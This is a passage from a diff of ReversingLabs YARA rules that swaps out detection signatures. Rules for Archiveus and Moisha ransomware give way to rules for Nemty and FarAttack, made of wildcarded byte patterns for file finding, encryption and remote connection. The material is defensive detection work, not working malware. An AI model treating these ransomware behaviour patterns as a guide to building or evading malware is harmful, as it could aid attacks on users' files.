+            0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ??
+            0F 29 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 68
+            ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85
+            C0 74 ?? FF 75 ?? 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF D6 6A ?? FF 15
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($remote_connection)
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Archiveus : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Nemty : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Archiveus ransomware."
+		description = "Yara rule that detects Nemty ransomware."
 		author = "ReversingLabs"
-		id = "89e5af93-1153-5367-a539-6af77c99c214"
+		id = "c56ecd32-5903-5bcc-aa69-a070f2c247c4"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Archiveus.yara#L3-L50"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "2b8a42b98ab3e8b97d2e226e979f342a6a72f21d8f068f59c21ad95764077f8a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Nemty.yara#L1-L205"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "dc8cfdcdea8ecb2018b1b04bb1b645f6dbdc6c07357719100677c75945edef40"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -43072,48 +43191,184 @@ rule REVERSINGLABS_Win32_Ransomware_Archiveus : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Archiveus"
+		tc_detection_name = "Nemty"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$entry_point = {
-            68 ?? ?? 40 00 E8 ?? ?? ?? FF
+		$remote_connection_p1 = {
+            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 8D 75
+            ?? 89 5D ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00
+            53 53 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 6A
+            ?? 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ??
+            ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 53 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
+            ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 32 DB EB ?? B3 ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ??
+            6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ??
+            ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 8B 1D ?? ?? ?? ??
+            50 FF D3 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59
+            72 ?? 8B 00 50 FF D3 33 DB 43 53 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 53 8D 75 ??
+            E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 59 59 FF 75 ?? FF
         }
-		$dump_instruction = {
-            8B 3D ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
-            74 ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ??
-            50 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF D7 FF 15 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 1D ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 50 51 FF D3 50 8D 55 ?? 8D
-            45 ?? 52 50 FF D3 50 FF 15
+		$remote_connection_p2 = {
+            D6 FF 75 ?? FF D6 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ??
+            83 78 ?? ?? 59 59 72 ?? 8B 00 50 FF 15 ?? ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ??
+            53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ??
+            ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 C9 51 51 51 50 68 ?? ?? ?? ?? 51 FF 15 ??
+            ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 5A 8B C1 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 39 55 ??
+            73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ??
+            8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41
+            3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D
+            ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 83 EC ?? 8D 45 ?? 8B F4 50 E8 ?? ??
+            ?? ?? 83 EC ?? 8B F4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 33
+            FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
-		$extension_rule = {
-            8B 13 6A ?? 68 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? D9 85 ?? ?? ?? ?? DB 85 ?? ?? ??
-            ?? DD 9D ?? ?? ?? ?? DC 8D ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? DC 05 ?? ?? ?? ?? DF E0 A8 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 89 45
-            ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF
-            15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 8D 4D ?? FF 15 ?? ?? ?? ??
-            50 6A ?? 6A ?? 6A ?? FF 15
+		$enum_resources_p1 = {
+            55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 53 56 57 FF 15 ?? ?? ??
+            ?? 83 64 24 ?? ?? 89 44 24 ?? BB ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? D3 EA 33 C0 40
+            23 D0 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? 80 C1 ?? 5F 88 4C 24 ?? FF 74 24 ?? 8D
+            74 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 64 24 ?? ?? 8B 74 24 ?? 53 89
+            7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 59 03 C6 8D 4C 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D
+            44 24 ?? 50 83 C8 ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8B C6
+            E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8B C6 50 FF 15 ?? ?? ?? ?? 6A ?? 33
+            FF 8D 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59
+            8B F8 53 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ??
+            33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53
+            8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
+        }
+		$enum_resources_p2 = {
+            8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D
+            74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8D 44 24
+            ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ??
+            E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 ?? 6A ?? 8D 4C 24 ?? 51 8D
+            4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ?? 89 44 24 ?? 8D
+            44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ??
+            89 44 24 ?? 8D 44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 2B 44 24
+            ?? 8B 4C 24 ?? 1B 4C 24 ?? BE ?? ?? ?? ?? 0F AC C8 ?? 89 44 24 ?? 8D 44 24 ?? C1 E9
+            ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? FF 44 24 ?? 83 7C 24 ?? ??
+            0F 8C ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$find_files_1_p1 = {
+            6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0
+            0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ??
+            E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ??
+            59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ??
+            ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84
+        }
+		$find_files_1_p2 = {
+            C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
+            ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ??
+            ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ??
+            ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ??
+            ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ??
+            ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ??
+            ?? ?? 59 84 C0 75 ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ??
+            FF 15
+        }
+		$find_files_2_p1 = {
+            8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F
+            84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ??
+            ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6
+            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 8D
+            84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 FF D6
+            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
+        }
+		$find_files_2_p2 = {
+            50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0
+            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ??
+            ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ??
+            ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 4C
+            24 ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ??
+            ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 75 ?? 32 DB EB ?? B3 ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33
+            FF 8D 74 24 ?? E8 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33 FF 8D 74
+        }
+		$find_files_2_p3 = {
+            24 ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ??
+            ?? ?? 50 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 8B
+            46 ?? 59 83 C9 ?? 2B C8 83 F9 ?? 0F 86 ?? ?? ?? ?? 8D 58 ?? 6A ?? 8B C6 E8 ?? ?? ??
+            ?? 84 C0 74 ?? 83 7E ?? ?? 8B 4E ?? 72 ?? 8B 06 EB ?? 8B C6 6A ?? 5A 66 89 14 48 83
+            7E ?? ?? 89 5E ?? 72 ?? 8B 06 EB ?? 8B C6 33 C9 66 89 0C 58 8B DE 8D 74 24 ?? E8 ??
+            ?? ?? ?? 8B DE 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF E8 ?? ?? ?? ?? 6A ?? 8D 74 24
+            ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44
+            24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 44 24 ?? E8
+            ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 59 6A ?? 33 FF 8D 74 24 ?? E8
+            ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9 8D 74 24 ?? E8 ?? ?? ?? ?? 8D
+            84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ??
+            ?? ?? 59 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9
+            8D 74 24 ?? E8
+        }
+		$encrypt_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 33 F6 C7 43 ??
+            ?? ?? ?? ?? 89 73 ?? C6 03 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 57 2B C1 6A ?? 99 5F
+            F7 FF 89 9D ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 85 C0 74 ?? 89 B5 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 83 EC ?? 03 C1 8B F4 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A
+            ?? 50 83 C8 ?? 8B F3 E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? A1 ?? ?? ??
+            ?? 8B 0D ?? ?? ?? ?? 2B C1 6A ?? 99 5E F7 FE FF 85 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ??
+            39 85 ?? ?? ?? ?? 72 ?? 8B 53 ?? 6A ?? 5F C6 85 ?? ?? ?? ?? ?? 3B D7 72 ?? 8B 0B EB
+            ?? 8B CB 8B 43 ?? 03 C1 3B D7 72 ?? 8B 0B EB ?? 8B CB 50 51 8D 85 ?? ?? ?? ?? 50 8D
+            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 7B ?? 72 ?? 8B 03 EB ?? 8B C3 8B 5B ?? 8B
+            B5 ?? ?? ?? ?? 03 D8 53 FF B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B
+            4E ?? C6 85 ?? ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ??
+            8B 0E EB ?? 8B CE 50 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 39 7E ?? 72 ?? 8B 0E EB ?? 8B CE 8B 46 ?? 03 C1 50 FF B5 ?? ?? ?? ?? 8D 9D ?? ??
+            ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4E
+        }
+		$encrypt_files_p2 = {
+            89 85 ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ?? 8B 0E EB
+            ?? 8B CE 3B C8 74 ?? 8B B5 ?? ?? ?? ?? 2B F1 8A 11 88 14 0E 41 3B C8 75 ?? 8D 45 ??
+            50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 75 ?? 8B F8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 8D 45 ?? E8 ?? ?? ?? ?? 8B F0 8B 46 ?? 8B 56 ?? 59 59 8B 4F ?? 2B C2 3B C8 76 ??
+            8B 47 ?? 2B C1 3B C2 72 ?? 56 8B F7 E8 ?? ?? ?? ?? EB ?? 6A ?? 57 83 C8 ?? E8 ?? ??
+            ?? ?? 8B D8 8D 75 ?? E8 ?? ?? ?? ?? 8B C6 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 DB 53 68 ?? ?? ?? ?? 6A ?? 53 53 68 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8
+            ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 3B F3 74 ?? 53 53 53 56
+            FF 15 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF
+            15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 59 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
-		$instruction_string = "INSTRUCTIONS HOW TO GET YOUR FILES BACK.txt" wide
 
 	condition:
-		uint16(0)==0x5A4D and ($entry_point at pe.entry_point) and $dump_instruction and $extension_rule and $instruction_string
+		uint16(0)==0x5A4D and ( all of ($find_files_1_p*)) and ( all of ($find_files_2_p*)) and ( all of ($enum_resources_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Moisha : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Farattack : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Moisha ransomware."
+		description = "Yara rule that detects FarAttack ransomware."
 		author = "ReversingLabs"
-		id = "c72f654f-955e-5ff6-ac91-19fbb858265c"
-		date = "2022-10-11"
-		modified = "2022-10-11"
+		id = "7ee7121a-4ca2-513c-96dc-53b5c48d719f"
+		date = "2022-06-21"
+		modified = "2022-06-21"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara#L1-L86"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "89cefbbb8ec722216721bb43eb14cc33fcd4671585051359a06b62236cbf3a6c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.FarAttack.yara#L1-L93"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "af22b8110c2b545f083b443c7a1fa7e7639324e9188eefadfe1fe70ebb1bb7fb"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -43121,77 +43376,85 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Moisha : TC_DETECTION MALICIOUS MALW
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
